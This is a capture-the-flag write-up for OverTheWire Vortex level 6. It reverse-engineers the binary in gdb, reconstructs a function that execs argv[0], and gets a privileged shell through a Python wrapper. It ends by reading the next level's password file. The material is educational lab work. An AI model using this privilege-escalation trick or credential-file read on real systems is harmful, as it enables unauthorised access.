craftwa.re

A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[CTF] OverTheWire Vortex Level 6

|

Logo

Context

For this level we have just the binary, not the source code and some reversing tutorials are suggested. First, we’ll download it and study it locally with gdb.

(gdb) set disassembly-flavor intel
(gdb) disassemble main 
Dump of assembler code for function main:
   0x08048446 <+0>: push   ebp
   0x08048447 <+1>: mov    ebp,esp
   0x08048449 <+3>: and    esp,0xfffffff0
   0x0804844c <+6>: sub    esp,0x10
   0x0804844f <+9>: mov    eax,DWORD PTR [ebp+0x10]
   0x08048452 <+12>: mov    eax,DWORD PTR [eax]
   0x08048454 <+14>: test   eax,eax
   0x08048456 <+16>: je     0x8048465 <main>
   0x08048458 <+18>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804845b <+21>: mov    eax,DWORD PTR [eax]
   0x0804845d <+23>: mov    DWORD PTR [esp],eax
   0x08048460 <+26>: call   0x8048424 <restart>
   0x08048465 <+31>: mov    eax,DWORD PTR [ebp+0x10]
   0x08048468 <+34>: add    eax,0xc
   0x0804846b <+37>: mov    eax,DWORD PTR [eax]
   0x0804846d <+39>: mov    DWORD PTR [esp],eax
   0x08048470 <+42>: call   0x8048354 <printf@plt>
   0x08048475 <+47>: mov    DWORD PTR [esp],0x7325
   0x0804847c <+54>: call   0x8048334 <_exit@plt>
End of assembler dump.
(gdb) disassemble restart 
Dump of assembler code for function restart:
   0x08048424 <+0>: push   ebp
   0x08048425 <+1>: mov    ebp,esp
   0x08048427 <+3>: sub    esp,0x18
   0x0804842a <+6>: mov    DWORD PTR [esp+0x8],0x0
   0x08048432 <+14>: mov    eax,DWORD PTR [ebp+0x8]
   0x08048435 <+17>: mov    DWORD PTR [esp+0x4],eax
   0x08048439 <+21>: mov    eax,DWORD PTR [ebp+0x8]
   0x0804843c <+24>: mov    DWORD PTR [esp],eax
   0x0804843f <+27>: call   0x8048344 @lt;execlp@plt>
   0x08048444 <+32>: leave  
   0x08048445 <+33>: ret    
End of assembler dump.

After the function prologue and alignment of stack pointer to 4-byte boundary, 16 bytes are subtracted from ESP to make room for local variables. Throughout the code of main function, there are references to 2 locations we need to understand: _ebp+0x10_ and ebp+0x0c. This article explains basics about stack frames, while the next one details also the stack layout. The stack layout before calling the main function looks like this:

:    :
|    | [ebp + 16] (env - address of env array)
|    | [ebp + 12] (argv - address of argv array)
|    | [ebp + 8]  (argc - number of arguments passed to main)
|    | [ebp + 4]  (return address)
|    | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)
:    :

We can quickly verify this with the following wrapper program, that runs a target program with different arguments. This thread shows a way to read registers (ebp in our case) with inline assembly from C code compiled with GCC.

#include <stdio .h>
 
int main() {
    register int ebp asm("ebp");    
     
    char **env = *(char***)(ebp + 16);
    char **argv = *(char ***)(ebp + 12);
    int argc = *(int*)(ebp + 8);
     
    printf("[EBP + 16] - First element of env[] array: %s\n", env[0]);
    printf("[EBP + 12] - First element of argv[] array: %s\n", argv[0]); 
    printf("[EBP +  8] - Number of arguments (argc): %d\n", argc);
}

And the test wraper:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char* argv[]) {
 
    char* arg[] = {"ARG0", "ARG1", "ARG2", "ARG3", "ARG4", "ARG5", NULL};
    char* env[] = {"ENV0", "ENV1", "ENV2", "ENV3", NULL};
 
    execve("./layout",arg,env);
}

So we have:

# gcc layout.c -o layout
# gcc wrap.c -o wrap
# ./wrap 
[EBP + 16] - First element of env[] array: ENV0
[EBP + 12] - First element of argv[] array: ARG0
[EBP +  8] - Number of arguments (argc): 6

Based on that, we see that the vortex6 binary checks the first environment variable, and if it’s not NULL it executes the restart function with argv[0] as parameter. We see that reconstruct() function calls execlp, with first two arguments the value from **(ebp+8), and the third one NULL. When calling restart function, the stack looks like this:

:    :
|    | [ebp + 12] (2nd argument)
|    | [ebp + 8]  (1st argument)
| RA | [ebp + 4]  (return address)
| FP | [ebp]      (old ebp value)
|    | [ebp - 4]  (1st local variable)

So wee see that at ebp + 8 we have its first argument, which is in fact argv[0]. Basically the reconstructed function is:

void restart(char *s) {
    execlp(s,s,NULL);
}

After reversing the whole functionality, it’s easy to exploit the binary using a simple Python wrapper:

import subprocess
 
argv = ['/bin/sh']
 
p = subprocess.Popen(argv, executable = './vortex6.bin')        
p.wait()

And tada…

vortex6@melissa:~$ python /tmp/myl6.py
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
*****